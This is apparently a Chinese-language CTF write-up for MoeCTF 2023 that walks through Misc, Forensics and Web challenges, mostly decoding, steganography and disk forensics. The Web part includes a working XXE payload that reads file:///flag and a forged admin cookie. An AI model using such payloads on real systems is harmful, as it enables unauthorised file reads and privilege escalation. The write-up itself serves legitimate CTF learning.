MoeCTF 2023
Misc
入门指北
下载得到附件,最后给了一段密文
bW9lY3Rme2hAdjNfZnVuX0B0X20xNWNfIX0=
文中提到有等于多半是base64加密
base解密得到flag
flag为:moectf{h@v3_fun_@t_m15c_!}
打不开的图片1
得到题目下载附件
下载解压看到f1ag的文件,用010打开
发现差一个文件头,补上jpg文件头 FFD8
补完查看照片什么也没有,binwalk一下也没有东西。于是习惯性看一下属性发现一段16进制文字
6d6f656374667b5844555f69355f763372795f3665407532696675317d
于是hex转码得到flag
moectf{XDU_i5_v3ry_6e@u2ifu1}
打不开的图片2
继续看下一题
下载附件解压得到flag.jpg但是打不开
于是进入010查看,工具提示牛头不对马嘴于是发现IHDR是png的文件格式 文件头还错误了
给它改回89504E47
得到flag:moectf{D0_yOu_1ik3_Bo7@ck_?}
base乐队
下载附件解压得到一段密文
点击查看代码
HFUEULC5HEZG42DGHFGDWSCTHRCUIUSVHFGDWS2EGZMCCRDKG5XG2LDEHFUTYYZGHJSUMKKDGVZDELBRHBIW4UCQGZLGOP2SHEYV44ZOHEZFYXCZHEYUIV2VGEXVK4KRHBWFWY2OHVMWSYCKG5XFCZTBHEZC6I2WHJST2ZK4HEXTSMDSHA3CKZRZGRNHI4LL
先base32-base85-base32解码得到一段密文,有点像base64还差一个=号,解码不了
栅栏解密4位得到密文:
bW9lY3Rme1RoNF82QG5kXzFuYzF1ZDQ1X0YzbmM0X0BuZF9iQHMzfQ==
base64解码得到:moectf{Th4_6@nd_1nc1ud45_F3nc4_@nd_b@s3}
狗子(1) 普通的猫
得到题目,根据提示用010查看 一开始不注意看提示以为是摩斯之类的
所以flag:moectf{eeeez_f1ag_as_A_G1ft!}
狗子(2) 照片
提示说用lsb隐写
我找了好久很久工具,zsteg用了也不行。网页的也是
尝试将“09” 改成“07”再继续zsteg,发现可以了
所以flag:moectf{D0ggy_H1dd3n_1n_Pho7o_With_LSB!}
//顺便偷了个师傅lsb的脚本
点击查看代码
# 从Pillow库导入Image类
from PIL import Image
# 读取本地文件名为1.png的图片
img = Image.open('1.png')
# size 记录了图片的宽、高,单位为像素(px)
width, height = img.size
print(width, height) # 256 256
# mode 属性记录了图片使用的图片模式
mode = img.mode
print(img.mode) # RGBA
# getpixel()方法接受一个元组,元组中为要获取像素信息的像素点坐标
# PIL使用笛卡尔像素坐标系统,坐标(0,0)位于左上角
# X轴是从左到右增长的,Y轴是从上到下增长, 可以自己上手试试.
x, y = 100, 100
pix = img.getpixel((x, y))
print(pix) # (1, 67, 145, 235)
# 也可以使用load方法,该方法返回所有像素点的信息
pix = img.load()
print(pix[x, y]) # (1, 67, 145, 235)
运行得到RGBA
再用kali的zsteg:zsteg -e "b1,rgba,lsb,xy" bincat_hacked.png > t.txt
得到flag,学到了
烫烫烫
根据得到提示去搜索,
可能是编码有问题 于是去解码
点击查看题目
+j9k-+Zi8-+T2A-+doQ-flag+/xo-+AAo-+AAo-a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262+AAo-+AAo-+T0Y-+Zi8-flag+dSg-AES+UqA-+W8Y-+ToY-+/ww-key+Zi8-+Tgs-+l2I-+j9k-+iEw-+W1c-+doQ-sha256+/wg-hash+UDw-+doQ-+XwA-+WTQ-+Zi8-b34edc782d68fda34dc23329+/wk-+AAo-+AAo-+YkA-+TuU-+i/Q-+/ww-codepage+dx8-+doQ-+X4g-+kc0-+iYE-+VUo-+/wg-+AAo-
以为是UTF-8有关,原来是UTF-7
继续看说所以说,codepage真的很重要啊(
用sha256,再进行aes解码
得到b34edc782d68fda34dc2332967273b0f0900a0ebd0dcec48467851bc6117bad1
和提示一样
再用aes解密,Mode为“ECB”,得到flag
所以flag:moectf{codep@ge_pl@ys_@n_iMport@nt_role_in_intern@tion@liz@tion_g92WPIB}
尊嘟假嘟?
之前做题看见过"尊嘟假嘟"解密 https://www.zdjd.asia/
点击查看代码
Ö_o owO 0v0 Owo o.O O.O Ö.0 OwO ÖwO 0wO Ov0 OwO Ö.O ÖvÖ Ö.0 Ov0 o.O OvÖ 0w0 OvO o_0 O.Ö Öw0 Ö_0 Ö.O Ö.O O.0 owo ÖvÖ O.o Ö.0 Övo o_0 ÖvÖ 0w0 Ö_0 Övo ow0 Ov0 Ö.0 Öwo 0wÖ O_0 O.Ö o_o 0wÖ Ö.0 Övo Ö.o Ö.Ö Övo ovo Ö.O Ö.o o_0 O.o ÖvO owO 0_0 owO Ö_o 0wÖ Öv0 0wO o.O OwÖ Öw0 O.o Öw0 O.o 0.0 O_O Ö_0 Ö.o Ö.0 0v0 Öw0 Ö.O 0_0 0vÖ Övo owÖ Ov0 0_Ö Öv0 Ö.Ö O.0 0vÖ Ö.o 0vÖ 0.0 OwÖ ÖvÖ ÖvÖ o_0 0_0 ÖwO Ö.O Övo ovo o.O 0vo Ö.0 owo Öv0 ÖvÖ Öw0 Öwo Ö.0 Ö.O o.0 O_Ö o_o O.0 Ö.0 Öwo Ö.o Ö.O ov0 Öw0 Ö_o owÖ Ö.0 Ov0 o_0 Ö.O ov0 Ö.0 Öwo Ö.O o_0 owo o_o O.Ö 0.0 OvÖ Öw0 Ö.O 0_0 ÖvÖ Ö.0 Ö.Ö 0w0 O.O Ö_o owÖ Öv0 O.O Ö.0 O.o ov0 OvÖ ÖvÖ Ö.0 0.0 Ö.O ÖvO O.o Ow0 O_o Ö.O 0vo ov0 OvÖ o.Ö OwÖ Ö.0 0w0 o.O owÖ 0.0 O_Ö ÖvÖ Ö.0 O_0 Ö_0 Öw0 Ö.O O_0 0wO o_O Ö.o O_0 Övo Öw0 ow0 O_0 ÖwO Ö.0 Ö.O Ö.0 O.Ö Öv0 O.o Ö.0 Ö_0 o.Ö ow0 Ö.0 0wÖ OvO 0vO 0_0 0v0 o_O ÖvÖ 0.o 0wo o_0 O.O 0w0 0v0 O_o O.Ö Öv0 0w0 o.O Ö.O Ow0 0.0 o.Ö 0vO o_o 0wo ÖwO OvO Ov0 0wO o_O Ö.Ö Öv0 0v0 o_o OwO Ov0 0_Ö Ö_0 0wO Ov0 0.o Ö_o Ö.Ö Öw0 0.o O_o O.O o.0 0vO O_o OvO O_0 ovO o_0 Ö.O ov0 0vo o_0 Ö.O 0.0 0.0 Ö_o Ö.O Öv0 ow0 ÖwÖ OwO O_o 0wo o_0 owO 0w0 0.0 Ö_o owO 0wo 0wo Ö_o 0vO Ö.0 0vÖ o.O Ö.O ovo 0wo o_0 owO 0v0 owo o.O OvO Ov0 0wO Öw0 0wÖ Ovo ov0 Öwo ÖvÖ 0vo Owo Öw0 O.O Öw0 0vo Ö_0 0vO O_o O_O o.O Ö.Ö Ö_o ovO O_o O.Ö Öv0 0.o Ö_0 ÖvO Ov0 0v0 o.Ö 0vO Övo 0wo ÖwO OvO Ov0 0wO o_O Ö.Ö Öv0 0v0 o_o OwO Ov0 0_Ö Ö_0 0wO Ov0 0.o Ö_o Ö.Ö Öw0 0.o O_o O.O o.0 0vO O_o OvO O_0 0vo o_0 Ö.O Öv0 ow0 Ö_0 O.Ö Ö.o Ö_Ö O_o 0wO Ov0 owÖ o.O O.O 0v0 0wÖ o.O OvO Ov0 0wO Ö_0 Ö.O o_0 0.0 o.Ö 0wO Ov0 owÖ o.O Ö.Ö Öv0 0.o O_o OvÖ O_o owÖ Öwo 0vO O_0 0vO Öwo Ö.O Öv0 0w0 Öwo 0wÖ O_o Owo Öw0 Owo 0.o O_O o.O O.O 0v0 0_O o_0 OvÖ O.o ovO O_o O.O 0w0 0_Ö o_0 OwO Ov0 0vo o.Ö OwO Ov0 OvO o.O Ö.Ö Öv0 0wÖ o.Ö owO 0v0 0_O O_o O.O O.0 0vo Ö_0 O.Ö O_0 0v0 o_o owÖ Öw0 0v0 o_o OwO Ov0 0v0 o.Ö 0vO Öw0 0_Ö Ö_0 O.O Ö.o Ö_Ö OvO 0vO 0w0 0.0 o.Ö 0vÖ Övo OwO ÖwO 0wO Ov0 owo o.O O.O Ö.o 0wo o.Ö 0vO O.0 0_0 Ö_0 ÖvO Ov0 0_Ö Ö_0 0wO Ov0 0wÖ o_o 0vÖ 0v0 Owo o_0 O.O o.0 OwÖ o_O Ö.Ö Öw0 owo Ö_0 Ö.O owo 0wo o.O Ö.Ö Öwo 0wo O_o 0vO O_0 0_o O_O 0wO 0.o 0.O O_O 0vÖ Öw0 0.o O_o 0wo
转码后得到一串英文,翻译一下。
根据提示对zundujiadu?
和dududu?
进行sha256加密
接着对比特币地址如何编码进行搜索,得到了
有base58
用base58解码后,用Blowfish Decrypt解码(其中Key:57e55c126f1557b3,IV为:67e9fca0871f9834。上面的sha256加密)
bW9lY3Rme3dvd195b3VfYVJlX3RoZV9tYXN0ZVJfb2ZfWnVuZHVqaWFkdV85MldQSUJ1bmc5MldQSUJ1bmc5P1dQSUJ1bmd9
再用base64解密得到flag
所以flag为:moectf{wow_you_aRe_the_masteR_of_Zundujiadu_92WPIBung92WPIBung9?WPIBung}
building_near_lake
得到题目,下载图片
通过百度识图,加上图片上面有图书馆猜测为学校。最后搜索到为“厦门大学翔安校区德旺图书馆”
题目要我们找到厦门大学德旺图书馆的经纬度,一开始我用腾讯坐标拾取器,老是不对后来换百度就可以了
坐标:118.317798,24.611409
第三问要我们找拍摄设备的发布会时间
通过提示说图片为原图查询属性信息
得到照相机制造商和型号
为redmi k60,发布会为2022.12.27
所以flag为:moectf{P0sT_Y0uR_Ph0T0_wiTh_0Riginal_File_is_n0T_a_g00d_idea_YlJf!M3rux}
奇怪的压缩包
得到题目,下载附件得到
打开看到像docx的文件,于是改后缀名。不对,换ppt试一下。成功了
打开ppt发现有批注提示,于是打开
在第二页全选发现有透明字符,修改一下
得到:moectf{2ip
第三页将表情包一走发现字符和右边的批注
第四页也一样,移走表情包。得到 n0_i4
这样子还差最后一个flag
得到第四个flag:_pp4x!}
或者大纲视图也可以。
所以flag为:moectf{2ip_?_n0_i4_pp4x!}
照片冲洗
得到题目说2张图片kiss在一起了,想着用binwalk分离,但是不行
于是用010查看,筛选'89504E47'发现才一个,于是从'IHDR'进行搜索
发现真的有,好像需要补文件头
将其导出,补上文件头:89504E47 0D0A1A0A
两张一样的图片在一起一般为Stegsolve的相减或相加,或者是盲水印
(注意:后面的照片要放前面)
好像有点难找
用Stegsolve工具查看一下
明显清晰了许多
所以flag:moectf{W0w_you_6@v3_1earn3d_blind_w@t3rma2k}
你想要flag吗
得到题目下载附件得到一个wav文件,用Audacity查看一下
翻阅了好久,在采样率发现了有东西
key:Bulbasaur
pwd:youseeme
通过查询有个工具steghide是解密wav文件
steghide extract -sf 1.WAV -p youseeme
打开文本
U2FsdGVkX18pGLCTMBSjkndoY4gf2lbG96QwOzVZDZeAYOA+TKnfv1mCtQ==
一开始以为是AES解密,刚好有密码。后面发现不是,搜了一下兔兔解密
所以flag为:moectf{Mu5ic_1s_v3ry_1nt23esting_!}
狗子(3) 寝室
是一个无限解压缩包的题目
我用之前收集的工具“ExtractNow”解压,就是有一点久久
解压完成,跑了快两个小时
所以flag为:moectf{Ca7_s133p1ng_und3r_zip_5hell5}
借鉴大佬的脚本:(emmmm,怎么说呢 还是跑脚本速度快一点)
佬1:
点击查看脚本
import os
import tarfile
import zipfile
import py7zr
def extract_file(file_path, dest_dir):
if file_path.endswith(".tar.gz"):
with tarfile.open(file_path, 'r:gz') as tar:
tar.extractall(dest_dir)
elif file_path.endswith(".zip"):
with zipfile.ZipFile(file_path, 'r') as zip_ref:
zip_ref.extractall(dest_dir)
elif file_path.endswith(".7z"):
with py7zr.SevenZipFile(file_path, 'r') as seven_zip:
seven_zip.extractall(dest_dir)
def main():
base_dir = os.getcwd()
current_number = 9999
while True:
file_name = f"shell{current_number}"
tar_file = os.path.join(base_dir, f"{file_name}.tar.gz")
zip_file = os.path.join(base_dir, f"{file_name}.zip")
seven_zip_file = os.path.join(base_dir, f"{file_name}.7z")
if os.path.exists(tar_file):
extract_file(tar_file, base_dir)
os.remove(tar_file)
elif os.path.exists(zip_file):
extract_file(zip_file, base_dir)
os.remove(zip_file)
elif os.path.exists(seven_zip_file):
extract_file(seven_zip_file, base_dir)
os.remove(seven_zip_file)
txt_file = os.path.join(base_dir, f"{file_name}.txt")
if os.path.exists(txt_file):
print(f"Found {txt_file}, stopping extraction.")
break
current_number -= 1
if current_number < 0:
print("Extraction completed, no matching txt file found.")
break
if __name__ == "__main__":
main()
#压缩包先解压一次然后放到与py同一目录下
佬2:
点击查看脚本
import zipfile
import os
import rarfile
import tarfile
import py7zr
a=9999
while a!=0:
zipname='shell'+str(a)+'.zip'
if(os.path.exists(zipname)):
zfile=zipfile.ZipFile(zipname)
zfile.extractall()
zfile.close()
a-=1
rarname='shell'+str(a)+'.rar'
if(os.path.exists(rarname)):
rfile=rarfile.RarFile(rarname)
rfile.extractall()
rfile.close()
a-=1
tarname='shell'+str(a)+'.tar.gz'
if(os.path.exists(tarname)):
rfile=tarfile.open(tarname)
rfile.extractall()
rfile.close()
a-=1
zname='shell'+str(a)+'.7z'
if(os.path.exists(zname)):
file=py7zr.SevenZipFile(zname)
file.extractall()
file.close()
a-=1
狗子(4) 故乡话
得到题目
下载附件得到一段字符串
点击查看题目
False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False
False True True True True False False False True True False False False False True False True False False False True True False False False False False True False False False False True False True False False False True False False False False False False False False False False True False True False False False False False False False
False False False False False False False False False False True False False False True False True False False False False True False False False False True False True False False False True False True False False False True False False False False False True False False False False True False False False False False True False True False
False True True False False False False False False False True False False False False False True False False False False True False False False False True False True False False False False False True False False False False True False False False False False False False False False True False False False False False False False False False
False False False True True False False False False True False False False False False True False False False False False False False False False False True False False False False False False True False False False False False True False False False True False True False False False True False False False False False True False True False
False False False False False False False False True False False False False False True False False False False False False True False False False True True False False False False False True False False False False False False True False False False False False False False False False True True True False False False False False False False
False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False False
将False改成0,True改为1.
想起之前用0和1二进制转二维码的题,但是不是这样。很像一些字符,将0换成“空格”。
后面搜索才知道是导入excel
查询后才知道这是标准银河字母
所以flag为: moectf{dontanswer}
weird_package
得到题目,打开压缩包
打开出问题了,于是尝试用7z(之前做题就碰到过,很疑惑)
正常解压得到文件
strings命令查看一下
以为是base64隐写,后面发现不是。于是正常base64解密
解密完发现乱码,查询后可以用Raw Inflate
;查询一篇文章这个可以对一堆乱码进行解密
然后再继续正常base64解密,(学到了)。得到flag
但是这个不是正确的flag,是最后一段密文
FcPBCsIwDADQXzJuHnL0UEIFGbZLtuxmN4tIIoIgY18/PLwyoGmT/AFLVEk1kYUR7LcIhgLIf5mk6nh5ZbLj1GONw3q7kk0lfDzyYZvf0nY8n8T1mR3bO8O3689boRV3
所以flag为:moectf{WHaT_DiD_You_Do_To_THe_arcHive?_!lP0iYlJf!M3rux9G9Vf!JoxiMl903ll}
Forensics
随身携带的虚拟机
下载得到附件,发现为有很多vmdk的文件,像虚拟机的文件。想用虚拟机打开,打不开报错,换AXIOMProcess工具
想新建导入cmdk但是报错了,就没弄了
在桌面看到一个txt,但是不是flag
看到文档内容:BitLocker Recovery Key 4DFEE901-55AC-43EB-96F4-FFE09609952A.TXT
但是这是txt,我们需要看到里边的内容。
找到了Recovery Key:702801-061622-323125-555819-258544-713713-089331-406373
因为一开始在分析的时候有个磁盘取证需要密码,可能需要用得上。于是重新启动
点击检查,成功后会进行下一步
选择“使用痕迹”
然后在文档处解密磁盘里flag.txt
base64解码即可。
后面我用RStudioPortable
取证工具
输入我们得到的key:702801-061622-323125-555819-258544-713713-089331-406373
得到base64密文:bW9lY3Rme0JhczFjX0QxNWtfRjByM25zMWNzIX0=
所以flag为:moectf{Bas1c_D15k_F0r3ns1cs!}
坚持访问的浏览器
题目说是找浏览器的历史记录
下载附件,是一个window的home目录文件夹
继续用AXIOMProcess工具
选择文件和文件夹
得到浏览历史:https://hymint.space/~koito/
打开页面但是404了,于是查询其他人的wp
确实是访问这个网址然后得到flag
所以flag:moectf{Th15_iS_d3f1ni7e1y_1Ast_0NE_30a13cfb8426e919ecd4c5627cde4fa4}
官方wp
根据题目的浏览器可知是需要获取浏览器记录,搜索得知 firefox 的浏览记录都存储在 places.sqlite 中,
在 Github 上查找相关项目,有个 firefox_history-master 的项目,可以从 places.sqlite 恢复历史记录[https://github.com/vickz84259/firefox_history]
锁定起来的同人文
得到题目,下载附件解压看到两个文件
一个文件镜像和一个.hc镜像挂载吧,(后面要用到)
于是习惯性用RStudioPortable
工具进行磁盘资料恢复
在桌面发现一个key_pixiv_id105614615.png
,右键恢复出来发现查看不了
用'volatility'工具dump下来也是不行,很异或。看见文件的名字感觉是在提示什么
于是自己搜索了一下,发现这是一个pixiv插画交流网站
通过id知道了一个是作品ID,一个是画师ID。需要我们下载东西(__需要魔法访问)
命令:
画师ID:https://www.pixiv.net/member.php?id=(此处填写画师的ID)
作品ID:https://www.pixiv.net/member_illust.php?illust_id=(此处填写作品ID)&mode=medium
所以我用:https://www.pixiv.net/member_illust.php?illust_id=105614615&mode=medium
然后访问得到题目,下载下来
然后使用刚才给的.hc
文件,把图片当作密钥挂载
挂载成功后然后访问,在Z:\temp\siyuan.log的文件下发现
于是在文件夹搜索'20230707221115-ibr7vs7’
在Z:\data\20230707221115-ibr7vs7\20230707221136-xyfn5al\20230707221147-1rzo2wp\20230707221158-6te2bxl.sy的文件里有一段密文
NVXWKY3UMZ5VGMC7MQZTG4DMPFPUQMLEMRSW4IL5
于是base32解密,得到flag
所以flag:moectf{S0_d33ply_H1dden!}
学到了新的挂载工具
Web
http
打开网址
根据提示输入它需要的请求
运行
得到flag
所以flag:moectf{basic_http_knowledge_LgOj1UYcH8_7Rth9HFNspoZcANJcJDJ3}
Web入门指北
下载pdf得到
666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d
给了一段16进制密文,hex解码一下
得到flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
base64解码一下
所以flag:moectf{w3lCome_To_moeCTF_W2b_challengE!!}
彼岸的flag
得到题目,打开网址
是一段聊天记录,往下滑。看见有个撤回的消息
F12查看一下
看到了flag
所以flag:moectf{find_comments_JcYqUv37nNB7nNOQedvYbqI7rFi2jV4q}
cookie
得到题目和附件
通过bp抓包,进行注册。
注册不了,换成自己的用户名aaa
成功注册完成
用登录aaa查看一下,发现token的。对他进行base64解码
解码完看见用户名为aaa,身份为user
然后开始在readme.md的提示用Get请求flag
flag{sorry_but_you_are_not_admin}
说我不是admin用户
修改刚刚获取的token,在role后面的user,将其换成admin然后base64加密放入cookie中
eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMTIzNDU2IiwgInJvbGUiOiAiYWRtaW4ifQ==
所以flag:moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}
了解你的座驾
得到题目,打开网址(一开始没思路,搜索了一下知道是xxe)
看到提示说flag在根目录下
又随便点了一下,在hackbar的post请求看见了xml_content=
请求
于是看一下网页源码
看到了是xxe漏洞
抓包查看一下
用之前收集的payload,注意是'xml' 然后修改了一下
payload:
xml_content=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///flag" >]><xml><name>&xxe;</name></xml>
在hackbar和bp抓包工具看到的请求不一样,bp是url编码了
所以需要urlencode一下:
paayload
xml_content=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20xxe%20%5B%3C!ELEMENT%20name%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E
所以flag为:moectf{Which_one_You've_Chosen?wEemDsPouuWkRUA9T5SF6Ul3eLQpcXUp}
signin
得到题目,打开网址
根据提示默认用户名和密码是admin admin,我试了好久 不成功。
于是我抓个包看看,感觉这段密文有点下base64.
确实是base64解码,需要解码五次得到{"username":"admin","password":"admin"}
真是该死,我没看见题目有个附件。于是下载下来,看到网站源码
点击查看代码
from secrets import users, salt
import hashlib
import base64
import json
import http.server
with open("flag.txt","r") as f:
FLAG = f.read().strip()
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]
assert "admin" in users
assert users["admin"] == "admin"
hashed_users = dict((k,gethash(k,v)) for k,v in users.items())
eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
def decrypt(data:str):
for x in range(5):
data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
return data
__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKX